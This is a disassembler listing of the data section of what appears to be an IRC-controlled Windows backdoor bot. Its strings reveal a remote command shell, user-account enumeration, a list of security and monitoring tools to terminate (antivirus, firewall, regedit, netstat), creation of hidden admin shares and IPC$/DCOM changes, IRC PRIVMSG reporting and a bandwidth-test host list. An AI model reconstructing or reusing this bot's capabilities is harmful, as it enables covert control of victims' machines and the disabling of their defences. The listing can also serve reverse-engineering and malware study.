		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CD8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CF8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EB4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439EE8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1F0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A248	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A350
		dd offset dword_43A344
		dd offset dword_43A338
		dd offset dword_43A32C
		dd offset dword_43A320
		dd offset dword_43A314
		dd offset dword_43A304
		dd offset dword_43A2F8
		dd offset dword_43A2EC
		dd offset dword_43A2E0
		dd offset dword_43A2D4
		dd offset dword_43A2C4
		dd offset dword_43A2B8
		dd offset dword_43A2A8
dword_43A2A8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A2A4o
dword_43A2B8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A2A0o
dword_43A2C4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A29Co
dword_43A2D4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A298o
dword_43A2E0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A294o
dword_43A2EC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A290o
dword_43A2F8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A28Co
dword_43A304	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A288o
dword_43A314	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A284o
dword_43A320	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A280o
dword_43A32C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A27Co
dword_43A338	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A278o
dword_43A344	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A350	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A270o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A26Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A268o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A264o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A260o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A25Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A258o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A254o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A250o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A24Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A248o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A400	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A424	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A448	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A478	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A4A8	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4D0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A500	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A534	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A558	dd offset dword_43A590	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A588
		align 8
off_43A568	dd offset dword_43A584	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A580
		dd offset dword_43A57C
		dd offset off_43A578
off_43A578	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A574o
dword_43A57C	dd 2444h		; DATA XREF: ___:0043A570o
off_43A580	dd offset byte_5C3A43	; DATA XREF: ___:0043A56Co
dword_43A584	dd 2443h		; DATA XREF: ___:off_43A568o
dword_43A588	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A560o
dword_43A590	dd 24435049h, 0		; DATA XREF: ___:off_43A558o
dword_43A598	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A61C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A640	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A66C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A690	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6FC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A730	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A780	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7B0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A800	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A830	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A858	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A878	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8B4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A92C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A948	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A9A0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43ABAC	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC88	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43ACAC	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACF0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACF4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACF8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43AD00	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD10	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD40	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD6C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD88	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADC4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADE0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADE4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADE8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADEC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADF0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADF4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADF8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADFC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE10	dd 69B2EE9Eh		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE20	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE2C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE38	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE3C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE50	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE54	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE60	dd offset off_43AE60	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE64	dd offset off_43AE60	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE78
		dd offset dword_43AE78
dword_43AE70	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE78	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE68o
					; ___:0043AE6Co
off_43CE80	dd offset off_43AE60	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE84	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE88	dd offset word_43CE92	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE8C	dd offset word_43CE92	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE92	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE88o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D094	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D098	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D0A0	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D0A4	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D0A8	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0B0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0B4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0C0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D1A0	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D1A4	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D308	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D310	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D318	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D31C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C618h, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D400	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D418	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D424	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D430	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D434	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D438	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D43C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D440	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D444	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D454	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D458	dd 0C0000005h		; DATA XREF: sub_423638+Ar
